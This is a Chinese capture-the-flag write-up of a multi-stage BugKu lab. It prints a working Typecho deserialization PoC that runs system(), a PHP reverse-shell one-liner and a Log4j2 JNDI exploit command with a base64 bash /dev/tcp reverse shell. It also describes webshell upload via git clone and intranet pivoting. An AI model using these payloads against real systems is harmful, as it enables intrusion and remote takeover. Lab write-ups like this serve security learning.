Py学习  »  Git

BugKu -- PRA -- 渗透测试2(log4j2、Typecho反序列化、git克隆)

Hacking黑白红 • 10 月前 • 200 次点击  

记录一次坎坷的打靶经历

第一次打靶  0x01 flag1(Typecho反序列化)  0x02 flag2(数据库)  0x03 flag3(log4j2 rce)第二次打靶  0x03 flag4(log4j2 rce)  0x04 flag3、flag5  0x06 flag6(git克隆)  0x07 flag7(git克隆上马)  0x08 flag8(ftp)第三次打靶  0x08 flag8(ftp)

前言

我也没想到居然能有第二篇,可能是我打靶太过于坎坷(其实就是菜,呜呜呜)。
言归正传,bugku的par模式,渗透测试2,共9个flag,打了三次,历时三天,全部拿下。整个打靶过程依旧十分坎坷,在此,分享出来笔者打靶的过程,并呈现自己的思考,同时也希望能获得大佬的指点。

过程

第一次打靶

0x01 flag1(Typecho反序列化)

启动场景,给了一个ip:80,老样子先上nmap扫一波

看来还是得从80端口开始,访问页面显示

哇,这么大个flag,这是怕我看不见么,结果访问并不是,年轻人不讲武德,来骗,来偷袭...呜呜呜

上dirsearch扫着,咱先熟悉一下整个站点的功能,这个站点是属于博客类型的,插件识别出来这是一个Typecho的cms,版本为1.0

网上搜搜看有没有历史漏洞

嘿!还真有,刚好符合要求

挺轻松,直接上poc,

class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items;

public function __construct(){
//__toString函数检查
$this->_type = self::RSS2;
//触发__get函数
$_item['author'] = new Typecho_Request();
//触发错误
$_item['category'] = array(new Typecho_Request());
$this->_items[0] = $_item;
}
}

class Typecho_Request{
private $_params = array();
private $_filter = array();

public function __construct(){
//回调函数的参数,即想要执行的命令
$this->_params['screenName'] = "ls";
//回调函数
$this->_filter[0] = "system";
}
}

$data = new Typecho_Feed();
$poc = array(
'adapter' => $data,
'prefix' => "typecho_"
);

//序列化
$s = serialize($poc);
//base64编码
echo base64_encode($s);
?>

将poc运行后的结果,利用hackbar进行post传参,看到当前目录下的所有文件

当前目录下没有flag,去根目录下看看,直接cat /f*,拿到flag

0x02 flag2(数据库)

上一个flag没有提示,但按照打靶正常流程,咱应该想办法getshell,尝试反弹一个shell回来。它本身是一个php站点,上面的poc中调用的又是system函数,最先想到的payload就是

php -r '$sock=fsockopen("xx.xx.xx.xx",1234);system("sh &3 2>&3");'

但是因为单双引号闭合的问题(有些函数里必需要有引号),放在poc里面感觉比较麻烦,想着写一个一句话木马进去,但是蚁剑死活连不上,最后还是回到原来的想法,反弹shell。处心积虑地构造了我大半天,终于构造完了,最后长这样,用变量隔开了很多参数,然后利用字符串拼接的方式将整个命令拼接完整就OK啦

(后面发现只要给双引号加个\转义一下就行了,一口老血吐了出来)

接收到shell后,看了一下当前目录并没有flag,先用python提升一下shell的交互性吧

python3 -c 'import pty; pty.spawn("/bin/bash")'


然后看了一下自己刚刚想写进去的那个一句话木马
?嗯?我的$_POST呢?就离谱...
然后因为这个反弹回来的shell执行命令起来有点麻烦(敲错命令想删掉重敲,虽然它确实是删掉了,但是显示上并不会删掉而且还会多两个字符^H)

我觉得还是工具的ui界面操作起来更方便,想用echo命令写一个一句话木马进去,结果呀,这个$_POST依旧是写不进去

最后我还是用老办法,将这个一句话木马分开,按两次写入shell.php,查阅了一下echo命令的一个详细用法,于是就有了下图

上蚁剑,成功连上

按照上次做渗透测试1的经验,flag应该在数据库里面,查看config.inc.php,拿到数据库账号密码,

登录后在数据库中拿到flag

0x03 flag3(log4j2 rce)

依旧是没有任何提示,想看看能不能提权,但就我那个提权三板斧是提不了的,只能看一下网段信息先走内网了

显示有一个网段192.168.0.2/24,传一个fscan扫一下(将结果输出到文件里边,不然没有回显)

看一下结果,提示192.168.0.3:80的title是不一样的,挂一个frp,访问一下该站点

什么也没有,尝试弱口令,没用,爆破,没结果,想着抓包试试爆破,结果返回包里边提示source.zip

访问看看,把源码下载下来了
解压出来,浅浅看一下,是一个log4j2的题,估摸着是考CVE-2021-44228漏洞的利用吧

但是说来惭愧,作为一个web手,这个漏洞自曝出到现在我还没有去复现研究过,导致现在不知道怎么去利用它,刚好时间也到了,只能先去研究一下这个漏洞了,第一次打靶结束。

第二次打靶

0x03 flag4(log4j2 rce)

研究了一天这个漏洞,大致知道该漏洞的基本原理和利用方法了

基本原理:一些版本的log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。
JNDI注入简单来说就是在JNDI接口在初始化时,如:InitialContext.lookup(URI),如果URI可控,那么客户端就可能会被攻击。
而一些版本的Log4j2的JNDI支持并没有限制可以解析的名称。这样的话就可以通过一些协议像rmi:和ldap:这种,下载远程class,来运行恶意代码,从而达到远程代码执行的目的。
利用方式:利用JNDI注入让靶机通过rmi或者ldap等协议加载我们在公网vps上构造好的恶意类,从而拿下shell

思路清晰目的明确,在vulhub上找到相应的环境成功复现一遍后,就开始了我的第二次打靶之旅。
将反弹shell的payload进行base64加密

使用JNDI注入工具(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)在vps上开启好对应的服务,

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "xx.xx.xx.xx"


之后便可以开始利用了,从上次得到的源码里可以知道这个站点用的是springboot框架,

所以选择工具给好的对应springboot的URI,构造好payload,vps上nc监听反弹端口,将payload填入登录框中,点击提交即可接收到反弹回来的shell了


刚好还是root权限,读一下flag

0x04 flag3、flag5

上一个flag提交后发现这居然是flag4

该不会真的需要在之前flag2上的机器提权后才能拿到flag3吧,呜呜呜
然后仔细看了一下但当前目录下的文件,有一个start.sh的脚本,打开看看

好家伙,一个log4j2的漏洞拿下3个flag,flag3在一个js文件里边、flag4在根目录下、flag5在root目录下,单走一个6

0x06 flag6(git克隆)

看完flag后,界面显示看起来属实不舒服,想clear清屏又清不掉,

最后想起来搁B站up主红队笔记的视频里学到过一招,

export TERM=xterm-color

成功清屏

接着做下去,上一个flag依旧是没有提示,但已经有root权限了,正常流程就是看看内网了,ifconfig看一下网段,好家伙,没有ifconfig命令

ls /usr/bin看一下用户命令有哪些

有wget,可以直接从vps上下载frpc,但是不知道这台机子的具体网络信息呀,这时候其实就有一点卡住了,不知道该怎样获取这台机子的一个网卡信息,怎样进行下一步呢?
嘿嘿,我去问了一下度娘,

执行ip addr show命令后发现还有一层192.168.1.2/24的网段,传一个fscan上去扫一下


依旧是看title,发现192.168.1.3的是之前没有见过的,挂frp开socks5代理,成功访问该站点(能wget从公网上下载就已经不需要考虑出不出网的问题了)

这个貌似是用来clone仓库的,看一下插件是一个php站点

表单里边有bugku的一个git仓库提示,访问看看

是一个漏洞测试靶场,并没有给什么信息,直接将这个git仓库克隆一下,

给了个超链接,访问一看,flag出了

0x07 flag7(git克隆上马)

这里可以克隆仓库,而且可以访问到克隆的仓库里的文件,你说这种是不是很像文件上传,于是我自己建了个仓库,放上一句话木马,clone后访问发现它直接将文件内容输出了,并没有执行解析

可能是做了限制吧,然后尝试修改仓库里文件后缀看看能不能绕过限制,重新clone,好家伙,clone同一个仓库,里边的文件不会变了(不管远程仓库做了什么修改,clone的仓库只保留第一次clone的结果,估摸着是缓存的原因),没办法只能多创建几个仓库了,最后测试了很多次后,发现phtml后缀的文件能被解析执行

直接上蚁剑,拿下flag


贴上我的仓库地址(https://github.com/QRLing1/hello4)

0x08 flag8(ftp)

这次终于有提示了,

?什么东东,没看懂,离谱,还是先看一下这台机子的网卡信息吧

还有一层10.10.0.2/24的网段,上fscan扫一下(将结果输出到文件中,不然没有回显)

看一下结果发现10.10.0.3这台机子只开了21端口,该端口对应的是ftp服务,题目的提示该不会是ftp的账号密码吧,继续上frp挂代理,可是这次再上传frpc的时候一直出现问题,

唯一上传成功的frp还不能运行

最后就一直卡在了这里,之后时间也差不多结束了,第二次打靶也就此告终。

第三次打靶

0x08 flag8(ftp)

重新开启靶场后,想再试试传一个frpc,这次上传的很顺利,之前传不上去可能是网络问题吧,挂上代理后尝试使用xftp进行连接,账户密码确实是guest,但xftp连接上后就一直卡死

根本读取不到文件,换FileZilla连接也是卡死,就离谱

之后想着还是用ftp命令行进行连接吧
转到kali,先在/etc/proxychains4.conf里加上socks5代理,

然后再使用ftp进行连接,终于连上了

get flag远程下载flag文件拿到flag

0x09 flag9(ftp)

从上一个flag给出的提示,ls / 看一下根目录的文件

还真有,直接get /flag,结果并没有拿下flag

一下子给我整蒙了,难不成还要弹个shell回来提权?但是就开了一个21端口也执行不了什么命令,怎么弹shell呀,迷茫了很久,切换到根目录下面get flag,直接拿下了,好家伙,离大谱

总结

到这里就结束了,回顾整个打靶过程,还是能清晰的感受到我是一如既往的菜。这次打靶依旧是学到了很多东西,比如log4j2漏洞的学习和复现等,而且我觉得自己对打靶的一个大致流程也越来越熟练,打靶时的思路也逐渐灵活,总体上感触颇多。下次继续,嘿嘿。
希望师傅们不喜勿喷,感谢。

参考资料

JNDI注入学习
16-PHP代码审计——Typecho1.0.14反序列化漏洞
log4j2(CVE-2021-44228)漏洞复现实操(小白向)
CVE-2021-44228-Log4j漏洞分析及漏洞複現(Log4j POC)
Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)

本文作者:QRLing, 转载请注明来自FreeBuf.COM






【Hacking黑白红】,一线渗透攻防实战交流公众号

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球




【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。






欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。





渗透实战系列



【渗透实战系列】51|- 一次BC站点的GetShell过程

【渗透实战系列】50|- Log4j打点后与管理员斗智斗勇

【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置

【渗透实战系列】|48-一次内网渗透

渗透实战系列】|47-记一次对某鱼骗子卖家的溯源

【渗透实战系列】|46-渗透测试:从Web到内网

【渗透实战系列】|45-记一次渗透实战-代码审计到getshell

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)


    

长按-识别-关注

Hacking黑白红

一个专注信息安全技术的学习平台

点分享

点收藏

点点赞

点在看



Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/155895
 
200 次点击